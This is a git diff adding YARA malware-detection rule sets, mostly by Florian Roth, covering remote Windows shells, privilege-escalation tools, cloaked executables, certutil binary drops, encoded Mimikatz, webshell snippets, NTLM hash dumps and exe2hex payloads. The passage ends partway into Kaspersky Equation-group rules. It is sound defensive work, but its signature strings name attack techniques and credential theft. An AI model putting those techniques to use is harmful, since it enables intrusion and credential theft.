--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_transformed_strings.yar	
@@ -0,0 +1,54 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-31
+	Identifier: Transformed Strings
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Typical_Malware_String_Transforms {
+	meta:
+		description = "Detects typical strings in a reversed or otherwise modified form"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		date = "2016-07-31"
+		score = 60
+	strings:
+		/* Executables */
+		$e1 = "exe.tsohcvs" fullword ascii
+		$e2 = "exe.ssasl" fullword ascii
+		$e3 = "exe.rerolpxe" fullword ascii
+		$e4 = "exe.erolpxei" fullword ascii
+		$e5 = "exe.23lldnur" fullword ascii
+		$e6 = "exe.dmc" fullword ascii
+		$e7 = "exe.llikksat" fullword ascii
+
+		/* Libraries */
+		$l1 = "lld.23lenreK" fullword ascii
+		$l2 = "lld.ESABLENREK" fullword ascii
+		$l3 = "lld.esabtpyrc" fullword ascii
+		$l4 = "lld.trcvsm" fullword ascii
+		$l5 = "LLD.LLDTN" fullword ascii
+
+		/* Imports */
+		$i1 = "paeHssecorPteG" fullword ascii
+		$i2 = "sserddAcorPteG" fullword ascii
+		$i3 = "AyrarbiLdaoL" fullword ascii
+		$i4 = "AssecorPetaerC" fullword ascii
+
+		/* Registry */
+		$r1 = "teSlortnoCtnerruC" fullword ascii
+		$r2 = "nuR\\noisreVtnerruC" fullword ascii
+
+		/* Folders */
+		$f1 = "\\23metsys\\" ascii
+		$f2 = "\\23metsyS\\" ascii
+		$f3 = "niB.elcyceR$" fullword ascii
+		$f4 = "%tooRmetsyS%" fullword ascii
+
+		/* False Positives */
+		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and 1 of them and not 1 of ($fp*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_win_privesc.yar b/yara-mikesxrs/Florian Roth/gen_win_privesc.yar
new file mode 100644
index 0000000..d3be8e6
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_win_privesc.yar	
@@ -0,0 +1,56 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-02
+	Identifier: Win Privilege Escalation
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Win_PrivEsc_gp3finder_v4_0 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file gp3finder_v4.0.exe"
+		author = "Florian Roth"
+		reference = "http://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "7d34e214ef2ca33516875fb91a72d5798f89b9ea8964d3990f99863c79530c06"
+	strings:
+		$x1 = "Check for and attempt to decrypt passwords on share" ascii
+		$x2 = "Failed to auto get and decrypt passwords. {0}s/" fullword ascii
+		$x3 = "GPPPFinder - Group Policy Preference Password Finder" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( all of them )
+}
+
+rule Win_PrivEsc_folderperm {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
+		author = "Florian Roth"
+		reference = "http://www.greyhathacker.net/?p=738"
+		date = "2016-06-02"
+		score = 80
+		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
+	strings:
+		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
+		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
+		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii
+	condition:
+		1 of them
+}
+
+rule Win_PrivEsc_ADACLScan4_3 {
+	meta:
+		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
+		author = "Florian Roth"
+		reference = "https://adaclscan.codeplex.com/"
+		score = 60
+		date = "2016-06-02"
+		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
+	strings:
+		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
+		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
+		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_winshells.yar b/yara-mikesxrs/Florian Roth/gen_winshells.yar
new file mode 100644
index 0000000..5a8e92d
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_winshells.yar	
@@ -0,0 +1,112 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: Windows Shells
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WindowsShell_s3 {
+	meta:
+		description = "Detects simple Windows shell - file s3.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v3" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "put <local> <remote> - upload file" fullword ascii
+		$s7 = "term                 - terminate remote client" fullword ascii
+		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s9 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindosShell_s1 {
+	meta:
+		description = "Detects simple Windows shell - file s1.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+	strings:
+		$s1 = "[ executing cmd.exe" fullword ascii
+		$s2 = "[ simple remote shell for windows v1" fullword ascii
+		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
+		$s4 = "usage: s1 <address> [options]" fullword ascii
+		$s5 = "[ waiting for connections on %s" fullword ascii
+		$s6 = "-l           Listen for incoming connections" fullword ascii
+		$s7 = "[ connection from %s" fullword ascii
+		$s8 = "[ %c%c requires parameter" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and 2 of them ) or ( 5 of them )
+}
+
+rule WindowsShell_s4 {
+	meta:
+		description = "Detects simple Windows shell - file s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v4" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s8 = "-l           Listen for incoming connections" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule WindowsShell_Gen {
+	meta:
+		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
+		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
+		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s0 = "[ %c%c requires parameter" fullword ascii
+		$s1 = "[ %s : %i" fullword ascii
+		$s2 = "[ %s : %s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( all of them )
+}
+
+rule WindowsShell_Gen2 {
+	meta:
+		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/odzhan/shells/"
+		date = "2016-03-26"
+		super_rule = 1
+		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+	strings:
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "get <remote> <local> - download file" fullword ascii
+		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s4 = "put <local> <remote> - upload file" fullword ascii
+		$s5 = "term                 - terminate remote client" fullword ascii
+		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ error : received %i bytes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 175KB and 2 of them ) or ( 5 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/general_cloaking.yar b/yara-mikesxrs/Florian Roth/general_cloaking.yar
new file mode 100644
index 0000000..d4f261e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/general_cloaking.yar	
@@ -0,0 +1,84 @@
+/*
+
+   Generic Cloaking
+
+   Florian Roth
+   BSK Consulting GmbH
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+rule EXE_cloaked_as_TXT {
+	meta:
+		description = "Executable with TXT extension"
+		author = "Florian Roth"
+	condition:
+		uint16(0) == 0x5a4d 					// Executable
+		and filename matches /\.txt$/is   // TXT extension (case insensitive)
+}
+
+rule EXE_extension_cloaking {
+	meta:
+		description = "Executable showing different extension (Windows default 'hide known extension')"
+		author = "Florian Roth"
+	condition:
+		filename matches /\.txt\.exe$/is or	// Special file extensions
+		filename matches /\.pdf\.exe$/is		// Special file extensions
+}
+
+rule Cloaked_RAR_File {
+	meta:
+		description = "RAR file cloaked by a different extension"
+		author = "Florian Roth"
+	condition:
+		uint32be(0) == 0x52617221							// RAR File Magic Header
+		and not filename matches /(rarnew.dat|\.rar)$/is	// not the .RAR extension
+		and not filepath contains "Recycle" 				// not a deleted RAR file in recycler
+}
+
+rule Base64_encoded_Executable {
+	meta:
+		description = "Detects an base64 encoded executable (often embedded)"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+	strings:
+		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" // 14 samples in goodware archive
+		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" // 26 samples in goodware archive
+		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" // 75 samples in goodware archive
+		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" // 168 samples in goodware archive
+		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" // 28,529 samples in goodware archive
+	condition:
+		1 of them and not filepath contains "Thunderbird"
+}
+
+rule Binary_Drop_Certutil {
+	meta:
+		description = "Drop binary as base64 encoded cert trick"
+		author = "Florian Roth"
+		reference = "https://goo.gl/9DNn8q"
+		date = "2015-07-15"
+		score = 70
+	strings:
+		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
+		$s1 = "echo -----END CERTIFICATE----- >>" ascii
+		$s2 = "certutil -decode " ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule StegoKatz {
+	meta:
+		description = "Encoded Mimikatz in other file types"
+		author = "Florian Roth"
+		reference = "https://goo.gl/jWPBBY"
+		date = "2015-09-11"
+		score = 70
+	strings:
+		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
+		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii
+	condition:
+		filesize < 1000KB and 1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/general_officemacros.yar b/yara-mikesxrs/Florian Roth/general_officemacros.yar
new file mode 100644
index 0000000..b6f668a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/general_officemacros.yar	
@@ -0,0 +1,46 @@
+
+rule Office_AutoOpen_Macro {
+	meta:
+		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+		hash1 = "4d00695d5011427efc33c9722c61ced2"
+		hash2 = "63f6b20cb39630b13c14823874bd3743"
+		hash3 = "66e67c2d84af85a569a04042141164e6"
+		hash4 = "a3035716fe9173703941876c2bde9d98"
+		hash5 = "7c06cab49b9332962625b16f15708345"
+		hash6 = "bfc30332b7b91572bfe712b656ea8a0c"
+		hash7 = "25285b8fe2c41bd54079c92c1b761381"
+	strings:
+		$s1 = "AutoOpen" ascii fullword
+		$s2 = "Macros" wide fullword
+	condition:
+		(
+			uint32be(0) == 0xd0cf11e0 or 	// DOC, PPT, XLS
+			uint32be(0) == 0x504b0304		// DOCX, PPTX, XLSX (PKZIP)
+		)
+		and all of ($s*) and filesize < 300000
+}
+
+rule Office_as_MHTML {
+	meta:
+		description = "Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)"
+		author = "Florian Roth"
+		date = "2015-05-28"
+		score = 40
+		reference = "https://www.trustwave.com/Resources/SpiderLabs-Blog/Malicious-Macros-Evades-Detection-by-Using-Unusual-File-Format/"
+		hash1 = "8391d6992bc037a891d2e91fd474b91bd821fe6cb9cfc62d1ee9a013b18eca80"
+		hash2 = "1ff3573fe995f35e70597c75d163bdd9bed86e2238867b328ccca2a5906c4eef"
+		hash3 = "d44a76120a505a9655f0224c6660932120ef2b72fee4642bab62ede136499590"
+		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
+	strings:
+		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
+		$s2 = "Content-Type: application/x-mso" ascii fullword
+
+		$x1 = "QWN0aXZlTWltZQA" ascii 	// Base64 encoded 'ActiveMime'
+		$x2 = "0M8R4KGxGuE" ascii 		// Base64 encoded office header D0CF11E0A1B11AE1..
+	condition:
+		uint32be(0) == 0x4d494d45 // "MIME" header
+		and all of ($s*) and 1 of ($x*)
+}
diff --git a/yara-mikesxrs/Florian Roth/generic_anomalies.yar b/yara-mikesxrs/Florian Roth/generic_anomalies.yar
new file mode 100644
index 0000000..0ee672a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/generic_anomalies.yar	
@@ -0,0 +1,268 @@
+/*
+
+   Generic Anomalies
+
+   Florian Roth
+   BSK Consulting GmbH
+
+	License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+rule Embedded_EXE_Cloaking {
+        meta:
+                description = "Detects an embedded executable in a non-executable file"
+                author = "Florian Roth"
+                date = "2015/02/27"
+                score = 65
+        strings:
+                $noex_png = { 89 50 4E 47 }
+                $noex_pdf = { 25 50 44 46 }
+                $noex_rtf = { 7B 5C 72 74 66 31 }
+                $noex_jpg = { FF D8 FF E0 }
+                $noex_gif = { 47 49 46 38 }
+                $mz  = { 4D 5A }
+                $a1 = "This program cannot be run in DOS mode"
+                $a2 = "This program must be run under Win32"
+        condition:
+                (
+                        ( $noex_png at 0 ) or
+                        ( $noex_pdf at 0 ) or
+                        ( $noex_rtf at 0 ) or
+                        ( $noex_jpg at 0 ) or
+                        ( $noex_gif at 0 )
+                )
+                and
+                for any i in (1..#mz): ( @a1 < ( @mz[i] + 200 ) or @a2 < ( @mz[i] + 200 ) )
+}
+
+rule Cloaked_as_JPG {
+        meta:
+                description = "Detects a cloaked file as JPG"
+                author = "Florian Roth (eval section from Didier Stevens)"
+                date = "2015/02/29"
+                score = 40
+        condition:
+                uint16be(0x00) != 0xFFD8 and
+                extension matches /\.jpg/i and
+                filetype != "GIF"
+                /* and
+                not filepath contains "ASP.NET" */
+}
+
+rule GIFCloaked_Webshell {
+    meta:
+        description = "Detects a webshell that cloakes itself with GIF header(s) - Based on Dark Security Team Webshell"
+        author = "Florian Roth"
+        hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+        score = 60
+    strings:
+        $magic = "GIF"
+        $s0 = "input type"
+        $s1 = "<%eval request"
+        $s2 = "<%eval(Request.Item["
+        $s3 = "LANGUAGE='VBScript'"
+    condition:
+        ( $magic at 0 ) and ( 1 of ($s*) )
+}
+
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-12-21
+    Identifier: Uncommon File Sizes
+*/
+
+rule Suspicious_Size_explorer_exe {
+    meta:
+        description = "Detects uncommon file size of explorer.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "explorer.exe"
+        and not filepath contains "teamviewer"
+        and ( filesize < 1000KB or filesize > 3500KB )
+}
+
+rule Suspicious_Size_chrome_exe {
+    meta:
+        description = "Detects uncommon file size of chrome.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "chrome.exe"
+        and ( filesize < 500KB or filesize > 1300KB )
+}
+
+rule Suspicious_Size_csrss_exe {
+    meta:
+        description = "Detects uncommon file size of csrss.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "csrss.exe"
+        and ( filesize > 18KB )
+}
+
+rule Suspicious_Size_iexplore_exe {
+    meta:
+        description = "Detects uncommon file size of iexplore.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "iexplore.exe"
+        and not filepath contains "teamviewer"
+        and ( filesize < 75KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_firefox_exe {
+    meta:
+        description = "Detects uncommon file size of firefox.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "firefox.exe"
+        and ( filesize < 265KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_java_exe {
+    meta:
+        description = "Detects uncommon file size of java.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "java.exe"
+        and ( filesize < 42KB or filesize > 900KB )
+}
+
+rule Suspicious_Size_lsass_exe {
+    meta:
+        description = "Detects uncommon file size of lsass.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "lsass.exe"
+        and ( filesize < 10KB or filesize > 58KB )
+}
+
+rule Suspicious_Size_svchost_exe {
+    meta:
+        description = "Detects uncommon file size of svchost.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "svchost.exe"
+        and ( filesize < 14KB or filesize > 40KB )
+}
+
+rule Suspicious_Size_winlogon_exe {
+    meta:
+        description = "Detects uncommon file size of winlogon.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "winlogon.exe"
+        and ( filesize < 279KB or filesize > 580KB )
+}
+
+rule Suspicious_Size_igfxhk_exe {
+    meta:
+        description = "Detects uncommon file size of igfxhk.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-21"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "igfxhk.exe"
+        and ( filesize < 200KB or filesize > 265KB )
+}
+
+rule Suspicious_Size_servicehost_dll {
+    meta:
+        description = "Detects uncommon file size of servicehost.dll"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "servicehost.dll"
+        and filesize > 150KB
+}
+
+rule Suspicious_Size_rundll32_exe {
+    meta:
+        description = "Detects uncommon file size of rundll32.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "rundll32.exe"
+        and ( filesize < 30KB or filesize > 60KB )
+}
+
+rule Suspicious_Size_taskhost_exe {
+    meta:
+        description = "Detects uncommon file size of taskhost.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "taskhost.exe"
+        and ( filesize < 45KB or filesize > 85KB )
+}
+
+rule Suspicious_Size_spoolsv_exe {
+    meta:
+        description = "Detects uncommon file size of spoolsv.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "spoolsv.exe"
+        and ( filesize < 50KB or filesize > 930KB )
+}
+
+rule Suspicious_Size_smss_exe {
+    meta:
+        description = "Detects uncommon file size of smss.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "smss.exe"
+        and ( filesize < 40KB or filesize > 320KB )
+}
+
+rule Suspicious_Size_wininit_exe {
+    meta:
+        description = "Detects uncommon file size of wininit.exe"
+        author = "Florian Roth"
+        score = 60
+        date = "2015-12-23"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "wininit.exe"
+        and ( filesize < 90KB or filesize > 300KB )
+}
diff --git a/yara-mikesxrs/Florian Roth/generic_cryptors.yar b/yara-mikesxrs/Florian Roth/generic_cryptors.yar
new file mode 100644
index 0000000..4871e0e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/generic_cryptors.yar	
@@ -0,0 +1,22 @@
+
+rule DarkEYEv3_Cryptor {
+	meta:
+		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
+		author = "Florian Roth"
+		reference = "http://darkeyev3.blogspot.fi/"
+		date = "2015-05-24"
+		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
+		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
+		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
+		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
+		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
+		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
+		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
+		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
+		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
+		score = 55
+	strings:
+		$s0 = "\\DarkEYEV3-" 
+	condition:
+		uint16(0) == 0x5a4d and $s0
+}
diff --git a/yara-mikesxrs/Florian Roth/generic_dumps.yar b/yara-mikesxrs/Florian Roth/generic_dumps.yar
new file mode 100644
index 0000000..fdfea10
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/generic_dumps.yar	
@@ -0,0 +1,27 @@
+/* Disabled due to Benjamin Delphys sig overlap
+rule LSASS_memory_dump_file {
+	meta:
+		description = "Detects a LSASS memory dump file"
+		author = "Florian Roth"
+		date = "2015/03/31"
+		memory = 0
+		score = 50
+	strings:
+		$s1 = "lsass.exe" ascii fullword
+		$s2 = "wdigest.DLL" wide nocase
+	condition:
+        uint32(0) == 0x504D444D and all of them
+} */
+
+rule NTLM_Dump_Output {
+	meta:
+		description = "NTML Hash Dump output file - John/LC format"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		score = 75
+	strings:
+		$s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
+		$s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii
+	condition:
+		1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/generic_exe2hex_payload.yar b/yara-mikesxrs/Florian Roth/generic_exe2hex_payload.yar
new file mode 100644
index 0000000..8319680
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/generic_exe2hex_payload.yar	
@@ -0,0 +1,26 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-15
+	Identifier: Exe2hex
+*/
+
+rule Payload_Exe2Hex {
+	meta:
+		description = "Detects payload generated by exe2hex"
+		author = "Florian Roth"
+		reference = "https://github.com/g0tmi1k/exe2hex"
+		date = "2016-01-15"
+		score = 70
+	strings:
+		$a1 = "set /p \"=4d5a" ascii
+		$a2 = "powershell -Command \"$hex=" ascii
+		$b1 = "set+%2Fp+%22%3D4d5" ascii
+		$b2 = "powershell+-Command+%22%24hex" ascii
+		$c1 = "echo 4d 5a " ascii
+		$c2 = "echo r cx >>" ascii
+		$d1 = "echo+4d+5a+" ascii
+		$d2 = "echo+r+cx+%3E%3E" ascii
+	condition:
+		all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
+}
diff --git a/yara-mikesxrs/Florian Roth/pup_lightftp.yar b/yara-mikesxrs/Florian Roth/pup_lightftp.yar
new file mode 100644
index 0000000..7a316fb
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/pup_lightftp.yar	
@@ -0,0 +1,37 @@
+
+rule LightFTP_fftp_x86_64 {
+	meta:
+		description = "Detects a light FTP server"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
+		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
+		score = 50
+	strings:
+		$s1 = "fftp.cfg" fullword wide
+		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
+		$s3 = "*FTP thread exit*" fullword wide
+		$s4 = "PASS->logon successful" fullword ascii
+		$s5 = "250 Requested file action okay, completed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 4 of them
+}
+
+rule LightFTP_Config {
+	meta:
+		description = "Detects a light FTP server - config file"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/LightFTP"
+		date = "2015-05-14"
+		hash = "ce9821213538d39775af4a48550eefa3908323c5"
+	strings:
+		$s2 = "maxusers=" wide
+		$s6 = "[ftpconfig]" fullword wide
+		$s8 = "accs=readonly" fullword wide
+		$s9 = "[anonymous]" fullword wide
+		$s10 = "accs=" fullword wide
+		$s11 = "pswd=" fullword wide
+	condition:
+		uint16(0) == 0xfeff and filesize < 1KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/spy_equation_fiveeyes.yar b/yara-mikesxrs/Florian Roth/spy_equation_fiveeyes.yar
new file mode 100644
index 0000000..1d9eb1e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/spy_equation_fiveeyes.yar	
@@ -0,0 +1,575 @@
+/* Equation APT ------------------------------------------------------------ */
+
+rule apt_equation_exploitlib_mutexes {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect Equation group's Exploitation library http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1="prkMtx" wide
+        $a2="cnFormSyncExFBC" wide
+        $a3="cnFormVoidFBC" wide
+        $a4="cnFormSyncExFBC"
+        $a5="cnFormVoidFBC"
+    condition:
+        (($mz at 0) and any of ($a*))
+}
+
+rule apt_equation_doublefantasy_genericresource {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect DoubleFantasy encoded config http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}
+        $a2="yyyyyyyyyyyyyyyy"
+        $a3="002"
+    condition:
+        (($mz at 0) and all of ($a*)) and filesize < 500000
+}
+
+rule apt_equation_equationlaser_runtimeclasses {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the EquationLaser malware"
